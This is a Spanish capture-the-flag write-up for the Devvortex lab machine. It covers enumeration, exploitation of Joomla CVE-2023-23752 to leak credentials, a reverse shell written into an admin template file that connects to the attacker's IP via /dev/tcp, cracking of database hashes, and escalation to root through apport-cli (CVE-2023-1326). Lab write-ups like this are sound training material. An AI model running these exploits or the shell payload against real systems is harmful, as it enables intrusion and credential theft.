Devvortex - WriteUp
Devvortex es una máquina Linux de fácil dificultad que cuenta con un CMS de Joomla que es vulnerable a la divulgación de información. El acceso al archivo de configuración del servicio revela credenciales de texto sin formato que conducen al acceso administrativo a la instancia de Joomla.
🎯 Machine Info
Enumeración
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.94SVN scan initiated Fri Dec 8 22:49:36 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.47.169
Nmap scan report for 10.129.47.169
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Agregamos devvortex.htb al archivo hosts.
Análisis Web
Examinamos los botones “Contact Us” y el formulario de envío, pero no hacen nada:
Es una página estática.
Fuzzing
1
$ gobuster dir -u http://devvortex.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
No ha encontrado nada. Vamos a escanear subdominios:
1
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://devvortex.htb' -H "Host: FUZZ.devvortex.htb" --hc 302
Encontramos el subdominio dev. Agregamos dev.devvortex.htb al archivo hosts.
Inspeccionando el código fuente vemos la ruta de una imagen que contiene la palabra cassiopeia:
Buscando por internet descubrimos que es un plugin de Joomla. Confirmamos accediendo al panel de administración:
1
http://dev.devvortex.htb/administrator
Usamos joomscan para enumerar:
1
2
3
4
5
6
7
$ joomscan --url http://dev.devvortex.htb
[+] Detecting Joomla Version
[++] Joomla 4.2.6
[+] admin finder
[++] Admin page : http://dev.devvortex.htb/administrator/
Explotación - CVE-2023-23752
La versión de Joomla 4.2.6 es vulnerable a CVE-2023-23752 (Information Disclosure).
Usamos el PoC de: https://github.com/adhikara13/CVE-2023-23752
1
2
3
4
$ python3 CVE-2023-23752.py -u dev.devvortex.htb -o resultado.txt
...
[+] => Vulnerable dev.devvortex.htb
User: lewis Password: 'P4ntherg0t1n5r3c0n##' Database: joomla
Credenciales obtenidas:
1
lewis:P4ntherg0t1n5r3c0n##
Accedemos al panel de administración:
Reverse Shell via Template
Modificamos el archivo login.php de la plantilla administrativa:
System > Administrator Templates > Atum Details and Files > login.php
Agregamos en la línea 2:
1
system('bash -c "bash -i >& /dev/tcp/10.10.14.68/4444 0>&1"');
Nos ponemos en escucha:
1
$ nc -nlvp 4444
Accedemos a la URL del archivo modificado:
1
http://dev.devvortex.htb/administrator/templates/atum/login.php
Movimiento Lateral
Solo hay un usuario además de root: logan
Probamos las credenciales de lewis para conectar a la base de datos:
1
$ mysql -u lewis -p
Extraemos los hashes:
1
2
3
4
5
6
7
mysql> select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
Crackeamos el hash de logan:
1
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Credenciales de logan:
1
logan:tequieromucho
1
2
3
$ su logan
Password: tequieromucho
logan@devvortex:~$
Escalada de Privilegios - CVE-2023-1326
Hacemos sudo -l:
El binario apport-cli es vulnerable a CVE-2023-1326 (ejecución de comando en less).
PoC: https://github.com/diego-tella/CVE-2023-1326-PoC
Creamos un archivo .apport y ejecutamos:
1
$ sudo /usr/bin/apport-cli -c ./file.apport less
1
2
3
4
5
6
7
8
*** Send problem report to the developers?
What would you like to do? Your options are:
S: Send report (1.7 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
Respondemos V para ver el archivo y entrar en consola less. Ejecutamos:
1
2
3
:!/bin/sh
# whoami
root
Máquina comprometida!
Última actualización: 2024-12-03
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0
















